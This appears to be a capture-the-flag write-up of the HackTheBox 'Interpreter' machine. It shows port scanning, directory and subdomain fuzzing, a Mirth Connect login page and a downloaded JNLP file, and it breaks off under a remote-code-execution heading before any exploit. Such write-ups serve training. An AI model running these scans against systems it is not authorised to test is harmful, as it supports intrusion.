Post

Interpreter Writeup

HackTheBox Interpreter Medium Machine Writeup

Interpreter Writeup

Adding IP to /etc/hosts

Add your machine IP into your /etc/hosts:

1
10.129.244.184 interpreter.htb

Rustscan

Let’s use Rustscan/Nmap to check the ports on the Guardian machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $rustscan -a interpreter.htb -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/home/donutmaster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.244.184:22
Open 10.129.244.184:80
Open 10.129.244.184:443
Open 10.129.244.184:6661
[~] Starting Script(s)
[>] Running script "nmap -vvv -p  -  -A" on ip 10.129.244.184
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-30 15:46 KST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:46
Completed NSE at 15:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:46
Completed NSE at 15:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:46
Completed NSE at 15:46, 0.00s elapsed
Initiating Ping Scan at 15:46
Scanning 10.129.244.184 [2 ports]
Completed Ping Scan at 15:46, 0.83s elapsed (1 total hosts)
Initiating Connect Scan at 15:46
Scanning interpreter.htb (10.129.244.184) [4 ports]
Discovered open port 80/tcp on 10.129.244.184
Discovered open port 22/tcp on 10.129.244.184
Discovered open port 443/tcp on 10.129.244.184
Discovered open port 6661/tcp on 10.129.244.184
Completed Connect Scan at 15:46, 0.30s elapsed (4 total ports)
Initiating Service scan at 15:46
Scanning 4 services on interpreter.htb (10.129.244.184)
Completed Service scan at 15:48, 175.33s elapsed (4 services on 1 host)
NSE: Script scanning 10.129.244.184.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:48
Completed NSE at 15:49, 23.95s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:49
Completed NSE at 15:49, 6.78s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:49
Completed NSE at 15:49, 0.00s elapsed
Nmap scan report for interpreter.htb (10.129.244.184)
Host is up, received syn-ack (0.61s latency).
Scanned at 2026-05-30 15:46:01 KST for 207s

PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDVuD7K78VPFJrRRqOF1sCo4+cr9vm+x+VG1KLHzsgeEp3WWH2MIzd0yi/6eSzNDprifXbxlBCdvIR/et0G0lKI=
|   256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILAfcF/jsYtk8PnokOcYPpkfMdPrKcKdjel2yqgNEtU3
80/tcp   open  http     syn-ack Jetty
| http-methods: 
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: 62BE2608829EE4917ACB671EF40D5688
|_http-title: Mirth Connect Administrator
443/tcp  open  ssl/http syn-ack Jetty
|_ssl-date: TLS randomness does not represent time
| http-methods: 
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
| ssl-cert: Subject: commonName=mirth-connect
| Issuer: commonName=Mirth Connect Certificate Authority
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-19T12:50:05
| Not valid after:  2075-09-19T12:50:05
| MD5:   c251:9050:6882:4177:9dbc:c609:d325:dd54
| SHA-1: 3f2b:a7d8:5c81:9ecf:6e15:cb6a:fdc6:df02:8d9b:1179
| -----BEGIN CERTIFICATE-----
| MIIHDjCCBfagAwIBAgIHAs1vd37U6TANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQD
| DCNNaXJ0aCBDb25uZWN0IENlcnRpZmljYXRlIEF1dGhvcml0eTAgFw0yNTA5MTkx
| MjUwMDVaGA8yMDc1MDkxOTEyNTAwNVowGDEWMBQGA1UEAwwNbWlydGgtY29ubmVj
| dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOcl1ZyZfUY55vGMEHQp
| Kv42F90HswreFnh1UZtrRTPBLZEG8Mp4dwsUSdnyZRjWliW/w9E7trGlt2kg9NmS
| 0aH1zwFbRMgO6RvlGH8Y3qSYK1Xz7vz4nq8dklfDQEeHkKOorxkjrHZ5nsIuotQ1
| rMNQ3IO6bGCrzozodanm1kvGADImobIqQg82NUG+lUf33ltW4DA8YosZebcOGtaz
| A0E3ZhEau3izPfhgTYOxYEw0+71uPK1iS1gMPgkZOSEOeatoER0l+tISNGujBwx6
| p0qEOVKuyD1ckPeLQ3W5tySooZHV7dAxtYP5bWEUWIpHWkNENL9hHa1HHu/0hFTh
| xxUCAwEAAaOCBEMwggQ/MIIDBAYDVR0jBIIC+zCCAveAggLzMIIC7zCCAdegAwIB
| AgIBATANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQDDCNNaXJ0aCBDb25uZWN0IENl
| cnRpZmljYXRlIEF1dGhvcml0eTAgFw0yNTA5MTkxMjUwMDVaGA8yMDc1MDkxOTEy
| NTAwNVowLjEsMCoGA1UEAwwjTWlydGggQ29ubmVjdCBDZXJ0aWZpY2F0ZSBBdXRo
| b3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCx5tdSOdln2NVP
| 2ENEc4CQmkkY/1O64NLvBnWr+Zu8AWyzFRBiGceqIXnWIpKWO5xxSObqsMiS2uSL
| Cj3/sprvfX+mojkmrZvpIYDqTQoayWjdI/MAn76VBZrZ4tGyPKibM6msLC/PNeSV
| JtGneR0GtT1yB3VGYfSEOJeIJLa2+PcHERSg2b+xBsrsWmGqwTIwl6NG3MPczmUD
| xomVpz7EpMZFka4slmRT81W9lIpgXl/jVAgLFoZUQ0q7ta1E0WdfeWkjMf0qEF5s
| LSm4UjDRkq/+xR8eZ7K1NBQL+1sUlmyhnfJnTGfik13g0xfpH1WNWsaHbRi6G70M
| zQs51qrlAgMBAAGjFjAUMBIGA1UdEwEB/wQIMAYBAf8CAQAwDQYJKoZIhvcNAQEL
| BQADggEBAFB4ZKwCdqnPqNWZhEi4XRoQY0/5bG/td+XP8a3lyudHQR6+JG8W2/DG
| MreycjnadJCaMn/KfBHULtUgbnpsCSJHQG/xmBS9jeT8NUu2R87xKypU7F0r08A2
| T9bduARSWYAJLF8g3UVGhC1o5fU+t0j3zUVEGKHdlC2GioZV9Jg5e7BIo/iqrLcX
| D6QOBOi509oMLYN40ijI6Q4KT0x01oDemPuirqo6CVg4fKnVjBGdXeWGdsH9DZsK
| O5zpxT2DcNXtFn7WdI+0FlUn+1Az+rFzuQlDZfyUAxiYXtL4ZaOGYKNNjKCECquv
| pdO2OKdCcl6oCIBJfRGDnh2Q7FIqK5wwggEzBgNVHQ4EggEqBIIBJjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOcl1ZyZfUY55vGMEHQpKv42F90Hswre
| Fnh1UZtrRTPBLZEG8Mp4dwsUSdnyZRjWliW/w9E7trGlt2kg9NmS0aH1zwFbRMgO
| 6RvlGH8Y3qSYK1Xz7vz4nq8dklfDQEeHkKOorxkjrHZ5nsIuotQ1rMNQ3IO6bGCr
| zozodanm1kvGADImobIqQg82NUG+lUf33ltW4DA8YosZebcOGtazA0E3ZhEau3iz
| PfhgTYOxYEw0+71uPK1iS1gMPgkZOSEOeatoER0l+tISNGujBwx6p0qEOVKuyD1c
| kPeLQ3W5tySooZHV7dAxtYP5bWEUWIpHWkNENL9hHa1HHu/0hFThxxUCAwEAATAN
| BgkqhkiG9w0BAQsFAAOCAQEAKEQK8YNzAWgPB07ydf05p277ISLa2T+rWzQ2cCPD
| amgc1lCOHK0pEdNMI2z4J+iNdeXiPpuBVgvKId6I8ETLdA7foFRGklv6W6t4MjMY
| Pte8+PPkhKdwRVLzEj/tae427Ar8daDCvyFK/IhunhugyxfywHNj665V+bqPLBGw
| bgiV7+CQKpNOeADBeGbZpEGfQb+U+RkLCpjq7don698TdeBIPcIErzDgS8PDZ217
| Y0o4EU9gaX6U42cpvD/LLZ+e87GRxBlm9ivRA8QAE+yqo8GZtWvYveLkg+7qNcWB
| nWXyOijePyLYSHl4QHn3F4nTx2bO16KspRrDZsmiZGyEIw==
|_-----END CERTIFICATE-----
6661/tcp open  unknown  syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:49
Completed NSE at 15:49, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:49
Completed NSE at 15:49, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:49
Completed NSE at 15:49, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.59 seconds

This is a lot of output from Rustscan as expected, but this is the main part you need to focus on.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDVuD7K78VPFJrRRqOF1sCo4+cr9vm+x+VG1KLHzsgeEp3WWH2MIzd0yi/6eSzNDprifXbxlBCdvIR/et0G0lKI=
|   256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILAfcF/jsYtk8PnokOcYPpkfMdPrKcKdjel2yqgNEtU3
80/tcp   open  http     syn-ack Jetty
| http-methods: 
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: 62BE2608829EE4917ACB671EF40D5688
|_http-title: Mirth Connect Administrator
443/tcp  open  ssl/http syn-ack Jetty
|_ssl-date: TLS randomness does not represent time
| http-methods: 
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
| ssl-cert: Subject: commonName=mirth-connect
| Issuer: commonName=Mirth Connect Certificate Authority
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-19T12:50:05
| Not valid after:  2075-09-19T12:50:05
| MD5:   c251:9050:6882:4177:9dbc:c609:d325:dd54
| SHA-1: 3f2b:a7d8:5c81:9ecf:6e15:cb6a:fdc6:df02:8d9b:1179
| -----BEGIN CERTIFICATE-----
| MIIHDjCCBfagAwIBAgIHAs1vd37U6TANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQD
| DCNNaXJ0aCBDb25uZWN0IENlcnRpZmljYXRlIEF1dGhvcml0eTAgFw0yNTA5MTkx
| MjUwMDVaGA8yMDc1MDkxOTEyNTAwNVowGDEWMBQGA1UEAwwNbWlydGgtY29ubmVj
| dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOcl1ZyZfUY55vGMEHQp
| Kv42F90HswreFnh1UZtrRTPBLZEG8Mp4dwsUSdnyZRjWliW/w9E7trGlt2kg9NmS
| 0aH1zwFbRMgO6RvlGH8Y3qSYK1Xz7vz4nq8dklfDQEeHkKOorxkjrHZ5nsIuotQ1
| rMNQ3IO6bGCrzozodanm1kvGADImobIqQg82NUG+lUf33ltW4DA8YosZebcOGtaz
| A0E3ZhEau3izPfhgTYOxYEw0+71uPK1iS1gMPgkZOSEOeatoER0l+tISNGujBwx6
| p0qEOVKuyD1ckPeLQ3W5tySooZHV7dAxtYP5bWEUWIpHWkNENL9hHa1HHu/0hFTh
| xxUCAwEAAaOCBEMwggQ/MIIDBAYDVR0jBIIC+zCCAveAggLzMIIC7zCCAdegAwIB
| AgIBATANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQDDCNNaXJ0aCBDb25uZWN0IENl
| cnRpZmljYXRlIEF1dGhvcml0eTAgFw0yNTA5MTkxMjUwMDVaGA8yMDc1MDkxOTEy
| NTAwNVowLjEsMCoGA1UEAwwjTWlydGggQ29ubmVjdCBDZXJ0aWZpY2F0ZSBBdXRo
| b3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCx5tdSOdln2NVP
| 2ENEc4CQmkkY/1O64NLvBnWr+Zu8AWyzFRBiGceqIXnWIpKWO5xxSObqsMiS2uSL
| Cj3/sprvfX+mojkmrZvpIYDqTQoayWjdI/MAn76VBZrZ4tGyPKibM6msLC/PNeSV
| JtGneR0GtT1yB3VGYfSEOJeIJLa2+PcHERSg2b+xBsrsWmGqwTIwl6NG3MPczmUD
| xomVpz7EpMZFka4slmRT81W9lIpgXl/jVAgLFoZUQ0q7ta1E0WdfeWkjMf0qEF5s
| LSm4UjDRkq/+xR8eZ7K1NBQL+1sUlmyhnfJnTGfik13g0xfpH1WNWsaHbRi6G70M
| zQs51qrlAgMBAAGjFjAUMBIGA1UdEwEB/wQIMAYBAf8CAQAwDQYJKoZIhvcNAQEL
| BQADggEBAFB4ZKwCdqnPqNWZhEi4XRoQY0/5bG/td+XP8a3lyudHQR6+JG8W2/DG
| MreycjnadJCaMn/KfBHULtUgbnpsCSJHQG/xmBS9jeT8NUu2R87xKypU7F0r08A2
| T9bduARSWYAJLF8g3UVGhC1o5fU+t0j3zUVEGKHdlC2GioZV9Jg5e7BIo/iqrLcX
| D6QOBOi509oMLYN40ijI6Q4KT0x01oDemPuirqo6CVg4fKnVjBGdXeWGdsH9DZsK
| O5zpxT2DcNXtFn7WdI+0FlUn+1Az+rFzuQlDZfyUAxiYXtL4ZaOGYKNNjKCECquv
| pdO2OKdCcl6oCIBJfRGDnh2Q7FIqK5wwggEzBgNVHQ4EggEqBIIBJjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOcl1ZyZfUY55vGMEHQpKv42F90Hswre
| Fnh1UZtrRTPBLZEG8Mp4dwsUSdnyZRjWliW/w9E7trGlt2kg9NmS0aH1zwFbRMgO
| 6RvlGH8Y3qSYK1Xz7vz4nq8dklfDQEeHkKOorxkjrHZ5nsIuotQ1rMNQ3IO6bGCr
| zozodanm1kvGADImobIqQg82NUG+lUf33ltW4DA8YosZebcOGtazA0E3ZhEau3iz
| PfhgTYOxYEw0+71uPK1iS1gMPgkZOSEOeatoER0l+tISNGujBwx6p0qEOVKuyD1c
| kPeLQ3W5tySooZHV7dAxtYP5bWEUWIpHWkNENL9hHa1HHu/0hFThxxUCAwEAATAN
| BgkqhkiG9w0BAQsFAAOCAQEAKEQK8YNzAWgPB07ydf05p277ISLa2T+rWzQ2cCPD
| amgc1lCOHK0pEdNMI2z4J+iNdeXiPpuBVgvKId6I8ETLdA7foFRGklv6W6t4MjMY
| Pte8+PPkhKdwRVLzEj/tae427Ar8daDCvyFK/IhunhugyxfywHNj665V+bqPLBGw
| bgiV7+CQKpNOeADBeGbZpEGfQb+U+RkLCpjq7don698TdeBIPcIErzDgS8PDZ217
| Y0o4EU9gaX6U42cpvD/LLZ+e87GRxBlm9ivRA8QAE+yqo8GZtWvYveLkg+7qNcWB
| nWXyOijePyLYSHl4QHn3F4nTx2bO16KspRrDZsmiZGyEIw==
|_-----END CERTIFICATE-----
6661/tcp open  unknown  syn-ack

We have three main ports open: SSH (22), HTTP (80), and another service (443). Let’s check what is on the web application.

HTTP(80)

Fuzzing

We can search for possible directories and subdomains with Dirsearch and Ffuf respectively.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $dirsearch -u http://interpreter.htb

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/donutmaster/Desktop/HTB/Interpreter/reports/http_interpreter.htb/_26-05-30_15-53-23.txt

Target: http://interpreter.htb/

[15:53:23] Starting: 
[15:53:29] 302 -    0B  - /js  ->  http://interpreter.htb/js/
[15:54:34] 302 -    0B  - /css  ->  http://interpreter.htb/css/
[15:54:51] 302 -    0B  - /images  ->  http://interpreter.htb/images/
[15:54:51] 200 -    2KB - /images/
[15:54:56] 200 -  771B  - /js/
[15:55:54] 302 -    0B  - /webadmin  ->  http://interpreter.htb/webadmin/
[15:55:54] 404 -  381B  - /webadmin/admin.php
[15:55:54] 200 -  163B  - /webadmin/
[15:55:54] 404 -  382B  - /webadmin/admin.aspx
[15:55:54] 404 -  443B  - /webadmin/admin.jsp
[15:55:54] 404 -  380B  - /webadmin/admin.js
[15:55:54] 404 -  443B  - /webadmin/index.jsp
[15:55:54] 404 -  381B  - /webadmin/index.php
[15:55:54] 200 -  163B  - /webadmin/index.html
[15:55:54] 404 -  382B  - /webadmin/index.aspx
[15:55:54] 404 -  382B  - /webadmin/admin.html
[15:55:54] 404 -  380B  - /webadmin/index.js
[15:55:54] 404 -  381B  - /webadmin/login.php
[15:55:54] 404 -  443B  - /webadmin/login.jsp
[15:55:54] 404 -  382B  - /webadmin/login.aspx
[15:55:54] 404 -  382B  - /webadmin/login.html
[15:55:55] 404 -  380B  - /webadmin/login.js
[15:55:55] 404 -  378B  - /webadmin/start/
[15:55:55] 404 -  375B  - /webadmin/out
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $ffuf -H "Host: FUZZ.interpreter.htb" -u http://interpreter.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 2532

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://interpreter.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.interpreter.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2532
________________________________________________

:: Progress: [4989/4989] :: Job [1/1] :: 134 req/sec :: Duration: [0:00:42] :: Errors: 0 ::

We don’t find anything useful at the moment.

Homepage

Interpreter Homepage

We see an “Access Secure Site” Button, which most likely will show us a sign in page.

Interpreter Secure Site

We do see a sign in page! However, this is not very useful at the moment, as we do not have a username nor a password to sign in with.

Initial Access

Remote Code Exeuction (RCE)

On the left of both pages, we have “Launch Mirth Connect Administrator” and “Download Administrator Launcher” buttons. Looking at this, it seems like the first one gives us some sort of configuration file, while the second is just a launcher to run the application locally on our machine.

When clicking the first button, it downloads a .jnlp file.

1
2
3
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $ls
reports  webstart.jnlp

When cating this file, we get this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
<jnlp codebase="http://interpreter.htb:80" version="4.4.0">
    	
    <information>
        		
        <title>Mirth Connect Administrator 4.4.0</title>
        		
        <vendor>NextGen Healthcare</vendor>
        		
        <homepage href="http://www.nextgen.com"/>
        		
        <description>Open Source Healthcare Integration Engine</description>
        		
		
        <icon href="images/NG_MC_Icon_128x128.png"/>
        		
        <icon href="images/MirthConnect_Logo_WordMark_Big.png" kind="splash"/>
         
		
		
        <offline-allowed/>
        		
        <shortcut online="true">
                        
            <!-- put a shortcut on the desktop -->
                        
            <desktop/>
                        
            <!-- put shortcut in start menu too -->
                        
            <menu submenu="Mirth Connect"/>
                	
        </shortcut>
            	
	
    </information>
    	
	
    <security>
        		
        <all-permissions/>
        	
    </security>
    	
	
    <update check="timeout" policy="always"/>
    	
	
    <resources>
        		
        <j2se href="http://java.sun.com/products/autodl/j2se" java-vm-args="--add-modules=java.sql.rowset --add-exports=java.base/com.sun.crypto.provider=ALL-UNNAMED --add-exports=java.base/sun.security.provider=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.math=ALL-UNNAMED --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.security=ALL-UNNAMED --add-opens=java.base/java.security.cert=ALL-UNNAMED --add-opens=java.base/java.text=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/sun.security.pkcs=ALL-UNNAMED --add-opens=java.base/sun.security.rsa=ALL-UNNAMED --add-opens=java.base/sun.security.x509=ALL-UNNAMED --add-opens=java.desktop/com.apple.eawt=ALL-UNNAMED --add-opens=java.desktop/com.apple.eio=ALL-UNNAMED --add-opens=java.desktop/java.awt=ALL-UNNAMED --add-opens=java.desktop/java.awt.color=ALL-UNNAMED --add-opens=java.desktop/java.awt.font=ALL-UNNAMED --add-opens=java.desktop/javax.swing=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED" max-heap-size="512m" version="1.9+"/>
        		
        <j2se href="http://java.sun.com/products/autodl/j2se" max-heap-size="512m" version="1.6+"/>
        	
        <jar download="eager" href="webstart/client-lib/mirth-client.jar" main="true" sha256="IHeDHNaFglz/afA4Osr3nllnqCMpsgo6RmrVTjbKBsA="/>
        <jar download="eager" href="webstart/client-lib/mirth-client-core.jar" sha256="Ms8xCKJF4OPd0YHeM0I+dPyfKB4sdsXHcQsubFBfvz4="/>
        <jar download="eager" href="webstart/client-lib/mirth-crypto.jar" sha256="3QGDVXdCJU/pevR+R0wnBGKnI6Ffuigbt4xNw8IOJKM="/>
        <jar download="eager" href="webstart/client-lib/mirth-vocab.jar" sha256="C20/n2aTWZFxY4x8iEBcrLWGzz5taUMTlWLezAcpCRs="/>
        <jar download="eager" href="webstart/client-lib/commons-lang3-3.9.jar" sha256="Vgwgrwq6WiuqsbpFY2oAq3y8dYHTsrQXc7BT8d4Bjmg="/>
        <jar download="eager" href="webstart/client-lib/jackson-core-2.11.3.jar" sha256="Sn93THoyv2dXoxnx/FGS4YJgW0bWpBuzLPUo2S2fsWw="/>
        <jar download="eager" href="webstart/client-lib/language_support.jar" sha256="sAzNPDx8Zcc+miVKCivSPaJC3fSCwgPE7y/tWM6f48A="/>
        <jar download="eager" href="webstart/client-lib/donkey-model.jar" sha256="rUOeInGLuiIRKZpUgosD/5Jeitea+mMtVfy/WGS8B1Q="/>
        <jar download="eager" href="webstart/client-lib/commons-configuration2-2.7.jar" sha256="QcDVizhsNICZPRi4XT7K+hBgm9KNFdRPLetbna1te80="/>
        <jar download="eager" href="webstart/client-lib/commons-codec-1.13.jar" sha256="rqMdWtimh21sVB/oZf/qwut33nVpNeXVPm74vfuVmKY="/>
        <jar download="eager" href="webstart/client-lib/jetty-util-9.4.44.v20210927.jar" sha256="FwOCGovjairWKH7Rg7r1knTLOnid4R9I0M0EbsjNJ7s="/>
        <jar download="eager" href="webstart/client-lib/log4j-1.2-api-2.17.2.jar" sha256="4Gi6JmmLeoPW/o6DYZMFl8zZoyZIHZ//sPJP27A7AVY="/>
        <jar download="eager" href="webstart/client-lib/javax.annotation-api-1.3.jar" sha256="B9B2My7V8CSIJT6+VqrdC2qTKlHBi5VQtNEcFTDdiI8="/>
        <jar download="eager" href="webstart/client-lib/hk2-locator-2.4.0-b31.jar" sha256="OTY93Favv8bFowgge5fv/nizGE2Vhp7IATYrVwNs6wI="/>
        <jar download="eager" href="webstart/client-lib/velocity-tools-generic-3.0.jar" sha256="ItFZhaj2pSWqreMV0hiT2hpN9Es6wxznasfNlgwomEY="/>
        <jar download="eager" href="webstart/client-lib/mimepull-1.9.7.jar" sha256="IR3nxpVPJFHkB7rqiX14vBJbeg3kLStX30X9XiIgh98="/>
        <jar download="eager" href="webstart/client-lib/zip4j_1.3.3.jar" sha256="Nq0nH85RbGL9D3KOlo1UIciuuhJo75yL4CpSakYXRn0="/>
        <jar download="eager" href="webstart/client-lib/commons-io-2.6.jar" sha256="ETnAc6KUHMebRMv0FKWTlUF7Et8vHlMw3uagiYOQlag="/>
        <jar download="eager" href="webstart/client-lib/commons-collections4-4.4.jar" sha256="nW5g92kH9CucRW1+B3OI4oTvsICWwwd/7hkkbMFdIWc="/>
        <jar download="eager" href="webstart/client-lib/rsyntaxtextarea-2.5.6.jar" sha256="5AwU0m/gEfep5vsTDox3h+iFRielROm8Ee3aD6vTKTQ="/>
        <jar download="eager" href="webstart/client-lib/quartz-all-2.1.7.jar" sha256="s8iEI5/GpBxXvE6bF76gPuzeIsc6H/+6ybO7RIDPxGI="/>
        <jar download="eager" href="webstart/client-lib/commons-text-1.10.0.jar" sha256="mkbZGbj6rJ+DfxfzXg9K71+fjTzg5fKS4q+5hKE6FXY="/>
        <jar download="eager" href="webstart/client-lib/autocomplete-2.5.4.jar" sha256="e4ZfCl5M9ElresOdHO30kzKqv79SxvpW3hWyxsVEK3w="/>
        <jar download="eager" href="webstart/client-lib/utils-2.15.28.jar" sha256="F2h3NoUjlAcsMb7Tzr/1SnHQDE3jLNnk/94nym9ERV4="/>
        <jar download="eager" href="webstart/client-lib/xpp3-1.1.4c.jar" sha256="sRmgN+Q81MVgJ+0eJaPPWatm39tYtHFRx6XxgvtLkec="/>
        <jar download="eager" href="webstart/client-lib/libphonenumber-8.12.50.jar" sha256="tjWFlc1nGTCQKOUgi/w7sWHGmTpeoerafoRZeOM4Q5o="/>
        <jar download="eager" href="webstart/client-lib/log4j-core-2.17.2.jar" sha256="fylUDk4s8265Vk+Y/jvkLsW8x8e5VjJUjTS1v8VEkrs="/>
        <jar download="eager" href="webstart/client-lib/jersey-proxy-client-2.22.1.jar" sha256="kCMvyNtvYX9sgjMt5OnZ2gJ163vYkDhLYoV/xpUs3Co="/>
        <jar download="eager" href="webstart/client-lib/commons-vfs2-2.1.jar" sha256="AeG82Lit+p/45dInSR8cxRZ8Eb2LmIQelpPHRGEG3Fg="/>
        <jar download="eager" href="webstart/client-lib/commons-logging-1.2.jar" sha256="KBnbQ2TXK5shS9/peQgDFVll50w6kAMfBVzKVTgfMV4="/>
        <jar download="eager" href="webstart/client-lib/swagger-annotations-2.0.10.jar" sha256="obRzCEphaiLShGrWm3d1fEGpKaTwmsAN7RVwNpc4ybg="/>
